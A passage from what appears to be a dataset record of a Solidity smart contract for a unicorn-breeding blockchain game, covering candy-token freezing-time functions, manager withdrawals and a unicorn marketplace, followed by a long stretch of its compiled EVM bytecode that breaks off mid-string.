unicornToken.plusTourFreezingTime(_unicornId);
}
//change freezing time for candy
function minusFreezingTime(uint _unicornId) public {
require(candyPowerToken.transferFrom(msg.sender, this, unicornManagement.subFreezingPrice()));
unicornToken.minusFreezingTime(_unicornId, unicornManagement.subFreezingTime());
}
//change tour freezing time for candy
function minusTourFreezingTime(uint _unicornId) public {
require(candyPowerToken.transferFrom(msg.sender, this, unicornManagement.subTourFreezingPrice()));
unicornToken.minusTourFreezingTime(_unicornId, unicornManagement.subTourFreezingTime());
}
function getHybridizationPrice(uint _unicornId) public view returns (uint) {
return unicornManagement.getHybridizationFullPrice(hybridizations[_unicornId].price);
}
function getEtherFeeForPriceInCandy() public view returns (uint) {
return unicornManagement.oraclizeFee();
}
function getCreateUnicornPriceInCandy() public view returns (uint) {
return unicornManagement.getCreateUnicornFullPriceInCandy();
}
function getCreateUnicornPrice() public view returns (uint) {
return unicornManagement.getCreateUnicornFullPrice();
}
function withdrawTokens() onlyManager public {
require(candyToken.balanceOf(this) > 0 || candyPowerToken.balanceOf(this) > 0);
if (candyToken.balanceOf(this) > 0) {
candyToken.transfer(unicornManagement.walletAddress(), candyToken.balanceOf(this));
}
if (candyPowerToken.balanceOf(this) > 0) {
candyPowerToken.transfer(unicornManagement.walletAddress(), candyPowerToken.balanceOf(this));
}
}
function transferEthersToDividendManager(uint _value) onlyManager public {
require(address(this).balance >= _value);
DividendManagerInterface dividendManager = DividendManagerInterface(unicornManagement.dividendManagerAddress());
dividendManager.payDividend.value(_value)();
emit FundsTransferred(unicornManagement.dividendManagerAddress(), _value);
}
function setGen0Limit() external onlyCommunity {
require(gen0Count == gen0Limit);
gen0Limit = gen0Limit.add(gen0Step);
emit NewGen0Limit(gen0Limit);
}
function setGen0Step(uint _step) external onlyCommunity {
gen0Step = _step;
emit NewGen0Step(gen0Limit);
}
////MARKET
struct Offer{
uint marketIndex;
uint price;
bool exists;
}
// Mapping from unicorn ID to Offer struct
mapping (uint => Offer) public offers;
// market index => offerId
mapping(uint => uint) public market;
uint public marketSize = 0;
function sellUnicorn(uint _unicornId, uint _price) public {
require(unicornToken.owns(msg.sender, _unicornId));
require(!offers[_unicornId].exists);
offers[_unicornId] = Offer({
price: _price,
exists: true,
marketIndex: marketSize
});
market[marketSize++] = _unicornId;
emit OfferAdd(_unicornId, _price);
}
function buyUnicorn(uint _unicornId) public payable {
require(offers[_unicornId].exists);
uint price = offers[_unicornId].price;
require(msg.value == unicornManagement.getSellUnicornFullPrice(price));
address owner = unicornToken.ownerOf(_unicornId);
emit UnicornSold(_unicornId);
//deleteoffer вызовется внутри transfer
unicornToken.marketTransfer(owner, msg.sender, _unicornId);
owner.transfer(price);
// _deleteOffer(_unicornId);
}
function revokeUnicorn(uint _unicornId) public {
require(unicornToken.owns(msg.sender, _unicornId));
require(offers[_unicornId].exists);
_deleteOffer(_unicornId);
}
function deleteOffer(uint _unicornId) onlyUnicornToken external {
_deleteOffer(_unicornId);
}
function _deleteOffer(uint _unicornId) internal {
if (offers[_unicornId].exists) {
offers[market[--marketSize]].marketIndex = offers[_unicornId].marketIndex;
market[offers[_unicornId].marketIndex] = market[marketSize];
delete market[marketSize];
delete offers[_unicornId];
emit OfferDelete(_unicornId);
}
}
function getOfferPrice(uint _unicornId) public view returns (uint) {
return unicornManagement.getSellUnicornFullPrice(offers[_unicornId].price);
}
}
|
0x6060604052600436106101f9576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630422ddf3146101fb5780631327d383146102285780631ed378a1146102715780632394a797146102a857806328861d22146102d4578063289688721461030b5780632cf42a6c1461032e578063317ffcf21461035157806331d035941461037a5780633ae50ce7146103b157806342f030e4146104005780634ea443581461042357806352fa1ac214610446578063544447bb14610464578063647151b5146104b957806367ae9e8f146104e557806374268ff21461051c5780637cd022d41461053f5780638091fbe1146105685780638a72ea6a146105915780638d8d50d0146105da5780638d8f2adb146105f85780638dca7a011461060d578063a63f5e2a14610662578063a76d368a146106b7578063af40ce201461070c578063b09b1a511461072f578063b30387a414610747578063bd1723e514610770578063c7024b98146107c5578063d03e9fff146107e8578063d224c3e01461080b578063da9287d114610834578063de763a4014610855578063e1c7392a1461087e578063e515a4d114610893578063eb1bb9d9146108bc578063eb56105d146108e5578063ec7bb2ac1461090e578063ee81f57c14610923578063ff3941531461094c575b005b341561020657600080fd5b61020e61096f565b604051808215151515815260200191505060405180910390f35b341561023357600080fd5b6102496004808035906020019091905050610a11565b6040518084815260200183815260200182151515158152602001935050505060405180910390f35b341561027c57600080fd5b6102926004808035906020019091905050610a48565b6040518082815260200191505060405180910390f35b34156102b357600080fd5b6102d26004808035906020019091908035906020019091905050610b0d565b005b34156102df57600080fd5b6102f56004808035906020019091905050610da4565b6040518082815260200191505060405180910390f35b341561031657600080fd5b61032c6004808035906020019091905050610dbc565b005b341561033957600080fd5b61034f60048080359060200190919050506110c9565b005b341561035c57600080fd5b6103646111ea565b6040518082815260200191505060405180910390f35b341561038557600080fd5b61039b600480803590602001909190505061128c565b6040518082815260200191505060405180910390f35b6103e6600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611351565b604051808215151515815260200191505060405180910390f35b341561040b57600080fd5b6104216004808035906020019091905050611760565b005b341561042e57600080fd5b6104446004808035906020019091905050611a6d565b005b61044e611b84565b6040518082815260200191505060405180910390f35b341561046f57600080fd5b610477611e04565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c457600080fd5b6104e36004808035906020019091908035906020019091905050611e2a565b005b34156104f057600080fd5b610506600480803590602001909190505061200f565b6040518082815260200191505060405180910390f35b341561052757600080fd5b61053d6004808035906020019091905050612027565b005b341561054a57600080fd5b610552612107565b6040518082815260200191505060405180910390f35b341561057357600080fd5b61057b61210d565b6040518082815260200191505060405180910390f35b341561059c57600080fd5b6105b26004808035906020019091905050612113565b6040518084815260200183815260200182151515158152602001935050505060405180910390f35b6105e261214a565b6040518082815260200191505060405180910390f35b341561060357600080fd5b61060b612216565b005b341561061857600080fd5b610620612af2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561066d57600080fd5b610675612b17565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c257600080fd5b6106ca612b3d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561071757600080fd5b61072d6004808035906020019091905050612b63565b005b6107456004808035906020019091905050612c84565b005b341561075257600080fd5b61075a612fa5565b6040518082815260200191505060405180910390f35b341561077b57600080fd5b610783612fab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107d057600080fd5b6107e66004808035906020019091905050612fd1565b005b34156107f357600080fd5b61080960048080359060200190919050506130b1565b005b341561081657600080fd5b61081e613231565b6040518082815260200191505060405180910390f35b6108536004808035906020019091908035906020019091905050613237565b005b341561086057600080fd5b610868613bce565b6040518082815260200191505060405180910390f35b341561088957600080fd5b610891613c70565b005b341561089e57600080fd5b6108a6614004565b6040518082815260200191505060405180910390f35b34156108c757600080fd5b6108cf61400a565b6040518082815260200191505060405180910390f35b34156108f057600080fd5b6108f8614010565b6040518082815260200191505060405180910390f35b341561091957600080fd5b610921614016565b005b341561092e57600080fd5b610936614154565b6040518082815260200191505060405180910390f35b341561095757600080fd5b61096d60048080359060200190919050506141f6565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156109f557600080fd5b5af11515610a0257600080fd5b50505060405180519050905090565b600a6020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900460ff16905083565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e8474230600a6000858152602001908152602001600020600101546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515610aef57600080fd5b5af11515610afc57600080fd5b505050604051805190509050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bd157600080fd5b5af11515610bde57600080fd5b505050604051805190501515610bf357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cbde2ff0836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515610c8357600080fd5b5af11515610c9057600080fd5b505050604051805190501515610ca557600080fd5b600a600083815260200190815260200160002060020160009054906101000a900460ff16151515610cd557600080fd5b606060405190810160405280600c54815260200182815260200160011515815250600a6000848152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555090505081600b6000600c600081548092919060010191905055815260200190815260200160002081905550817f84abd4d356237b35dfca5b88dc4e394c7e9f4cb3b214adcabfabdc6fe1f5f76c826040518082815260200191505060405180910390a25050565b600e6020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33306000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166373def2b76040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610e8057600080fd5b5af11515610e8d57600080fd5b505050604051805190506040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610f4e57600080fd5b5af11515610f5b57600080fd5b505050604051805190501515610f7057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634a3a92f6826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639ea764756040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561103357600080fd5b5af1151561104057600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b15156110b657600080fd5b5af115156110c357600080fd5b50505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561118d57600080fd5b5af1151561119a57600080fd5b5050506040518051905015156111af57600080fd5b600a600082815260200190815260200160002060020160009054906101000a900460ff1615156111de57600080fd5b6111e78161450c565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a96c63e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561127057600080fd5b5af1151561127d57600080fd5b50505060405180519050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cfa46990600d6000858152602001908152602001600020600101546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561133357600080fd5b5af1151561134057600080fd5b505050604051805190509050919050565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156113db57600080fd5b5af115156113e857600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561142b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156114af57600080fd5b5af115156114bc57600080fd5b5050506040518051905015156114d157600080fd5b6008546114e98760095461464f90919063ffffffff16565b111515156114f657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146115305784611532565b335b9150600090505b8581101561175357600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce5a5df7836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156115fd57600080fd5b5af1151561160a57600080fd5b505050604051805190509250600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631a9caab9846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156116a657600080fd5b5af115156116b357600080fd5b505050828273ffffffffffffffffffffffffffffffffffffffff167f51b6670023a2e348a2cb6b181f6ceed38b9ca16e2a416c7f437722cda97264d0600080604051808381526020018281526020019250505060405180910390a3611724600160065461464f90919063ffffffff16565b600681905550611740600160095461464f90919063ffffffff16565b6009819055508080600101915050611539565b6001935050505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33306000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636b308ee76040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561182457600080fd5b5af1151561183157600080fd5b505050604051805190506040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156118f257600080fd5b5af115156118ff57600080fd5b50505060405180519050151561191457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a60b8aa9826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166392491f216040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156119d757600080fd5b5af115156119e457600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b1515611a5a57600080fd5b5af11515611a6757600080fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166386e476dd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611af157600080fd5b5af11515611afe57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4157600080fd5b806007819055507faa5a96f51707b9e7754ab22c8cd3c4dccebc90a8c95ded732c422f2ca8bfff756005546040518082815260200191505060405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611c0a57600080fd5b5af11515611c1757600080fd5b50505060405180519050151515611c2d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611cb157600080fd5b5af11515611cbe57600080fd5b5050506040518051905034141515611cd557600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330611d1d614154565b6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515611dd457600080fd5b5af11515611de157600080fd5b505050604051805190501515611df657600080fd5b611dff3361466d565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611eee57600080fd5b5af11515611efb57600080fd5b505050604051805190501515611f1057600080fd5b600d600083815260200190815260200160002060020160009054906101000a900460ff16151515611f4057600080fd5b606060405190810160405280600f54815260200182815260200160011515815250600d6000848152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555090505081600e6000600f600081548092919060010191905055815260200190815260200160002081905550817f1bd268f001f2758380a5a7892487d52314b589afdcda9801650cead3a21214c0826040518082815260200191505060405180910390a25050565b600b6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635abaaa016040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156120ab57600080fd5b5af115156120b857600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120fb57600080fd5b6121048161490f565b50565b60085481565b60095481565b600d6020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900460ff16905083565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156121d057600080fd5b5af115156121dd57600080fd5b505050604051805190501515156121f357600080fd5b6121fb6111ea565b3414151561220857600080fd5b6122113361466d565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561229a57600080fd5b5af115156122a757600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122ea57600080fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156123a857600080fd5b5af115156123b557600080fd5b50505060405180519050118061249d57506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561248457600080fd5b5af1151561249157600080fd5b50505060405180519050115b15156124a857600080fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561256657600080fd5b5af1151561257357600080fd5b5050506040518051905011156127cc57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636ad5b3ea6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561264557600080fd5b5af1151561265257600080fd5b50505060405180519050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561271857600080fd5b5af1151561272557600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156127b357600080fd5b5af115156127c057600080fd5b50505060405180519050505b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561288a57600080fd5b5af1151561289757600080fd5b505050604051805190501115612af057600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636ad5b3ea6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561296957600080fd5b5af1151561297657600080fd5b50505060405180519050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515612a3c57600080fd5b5af11515612a4957600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612ad757600080fd5b5af11515612ae457600080fd5b50505060405180519050505b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612c2757600080fd5b5af11515612c3457600080fd5b505050604051805190501515612c4957600080fd5b600d600082815260200190815260200160002060020160009054906101000a900460ff161515612c7857600080fd5b612c818161490f565b50565b600080600d600084815260200190815260200160002060020160009054906101000a900460ff161515612cb657600080fd5b600d60008481526020019081526020016000206001015491506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cfa46990836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612d5e57600080fd5b5af11515612d6b57600080fd5b5050506040518051905034141515612d8257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612e1257600080fd5b5af11515612e1f57600080fd5b505050604051805190509050827f4061e21996e5679778d872d5b99ef37970aa24194d370815ff0e224e58dff1a460405160405180910390a2600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bcf0dd8e8233866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1515612f5057600080fd5b5af11515612f5d57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515612fa057600080fd5b505050565b60065481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635abaaa016040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561305557600080fd5b5af1151561306257600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156130a557600080fd5b6130ae8161450c565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e10f1b06336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561316c57600080fd5b5af1151561317957600080fd5b50505060405180519050151561318e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d03e9fff826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561321e57600080fd5b5af1151561322b57600080fd5b50505050565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156132bd57600080fd5b5af115156132ca57600080fd5b505050604051805190501515156132e057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156133a457600080fd5b5af115156133b157600080fd5b5050506040518051905015156133c657600080fd5b8282141515156133d557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cbde2ff0846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561346557600080fd5b5af1151561347257600080fd5b50505060405180519050801561352b5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cbde2ff0836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561351357600080fd5b5af1151561352057600080fd5b505050604051805190505b151561353657600080fd5b600a600084815260200190815260200160002060020160009054906101000a900460ff16151561356557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156135e957600080fd5b5af115156135f657600080fd5b505050604051805190503414151561360d57600080fd5b6000600a600085815260200190815260200160002060010154111561374f57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd333061367587610a48565b6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561372c57600080fd5b5af1151561373957600080fd5b50505060405180519050151561374e57600080fd5b5b61375882614a52565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce5a5df7336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561381457600080fd5b5af1151561382157600080fd5b505050604051805190509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631e5d2e416000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156138ef57600080fd5b5af115156138fc57600080fd5b505050604051805190508386866040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084815260200183815260200182815260200193505050506000604051808303818588803b151561396757600080fd5b5af1151561397457600080fd5b50505050803373ffffffffffffffffffffffffffffffffffffffff167f51b6670023a2e348a2cb6b181f6ceed38b9ca16e2a416c7f437722cda97264d08585604051808381526020018281526020019250505060405180910390a36000600a6000858152602001908152602001600020600101541115613b8757600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e86604051826